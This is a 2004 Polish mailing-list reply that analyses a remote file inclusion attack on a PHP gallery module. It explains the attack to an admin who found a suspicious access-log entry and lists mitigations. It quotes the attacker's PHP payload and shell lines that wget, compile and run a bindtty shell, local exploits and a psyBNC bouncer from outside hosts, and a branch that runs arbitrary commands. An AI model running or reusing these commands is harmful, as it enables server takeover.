Witam, Dnia śro, lut 18, 2004 at 10:56:15 CET, Krzysztof Jóźwiak napisał:
> > raczej php.. poszukaj w logach chlapacza (access_logi) czy nie miales
> > getow na zewnetrzne urle
> >
> znowu lamerskie pytanie:
> ten get ponizej to musze wykonać z jakiejs lewej strony czy bezpośrednio
> mechanizm zostal wykorzystany?
Wystarczy ze serwer www przeczyta i wykona (za posrednictwem lewego
kodu php) strone w ktorej bedzie np:
system("cd tmp;wget http://www.rootshell.com/bindshell.c;gcc
bindshell.c;./a.out");
i juz masz shella odpalonego.
jest kilka metod zabezpieczenia:
- nie pisac dziurawych skryptow
- zablokowanie fopena na zewnatrz w php (allow_url_fopen = Off)
- przeczytac i zastosowac sie do http://www.php.net/manual/pl/security.php
- php przez suexeca aby latal na prawach uzyszkodnikow
wtedy minimalizujesz mozliwosc dziur.
> /xxx-access_log:219.95.38.19 - - [07/Feb/2004:15:26:39 +0100]
> "GET /modules/My_eGallery/public/url HTTP/1.1" 404 236
> "http://www.xxx/modules/My_eGallery/public/displayCategory.php?adminpath=http://www.geocities.com/pillow4sleeping/a.txt?&cmd=bindtty"
>
> "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
w tym wypadku bylo pobrane
http://www.geocities.com/pillow4sleeping/a.txt?cmd=bindtty
a wynik tego to ciekawe rzeczy:
else if ($cmd == "bindtty") {
if (isset($chdir)) @chdir($chdir);
ob_start();
passthru("cd /tmp;wget
http://geocities.com/s3xmelayu/bindtty.c;gcc -o webphp bindtty.c;chmod
+777 webphp;rm -rf bindtty.c;./webphp");
$output = ob_get_contents();
ob_end_clean();
}
ale tez rowniez mozna pobrac:
cd /tmp;wget http://geocities.com/s3xmelayu/local/slack;chmod +777
slack;./slack;rm -f slack;id
cd /tmp;wget http://geocities.com/s3xmelayu/local/yoklocal;chmod +777
yoklocal;./yoklocal;rm -f yoklocal;id
cd /tmp;mkdir ....;cd ....;wget
http://hm2k.org/irc/psybnc/psyBNC2.2.1-linux-i86-static.tar.gz;tar -zxvf
psyBNC2.2.1-linux-i86-static.tar.gz;rm -rf
psyBNC2.2.1-linux-i86-static.tar.gz;cd psybnc;make;rm -rf psybnc.conf;mv psybnc
az;wget http://geocities.com/s3xmelayu/adamx;./az adamx
oraz najlepsze
else {
if (isset($chdir)) @chdir($chdir);
ob_start();
passthru("$cmd");
$output = ob_get_contents();
ob_end_clean();
}
czyli wykonywanie wlasnych komend.
Pozdrawiam,
Tomasz T. Ciaszczyk
--
.: ciacho<at>ciacho.pl ][ Bóg jest w szczegółach :.
.: http://ciacho.pl ][ -- Jonathan Carroll :.
.: ciacho<at>jabber.org][ :.
pgp8SQmaWDNYd.pgp
Description: PGP signature

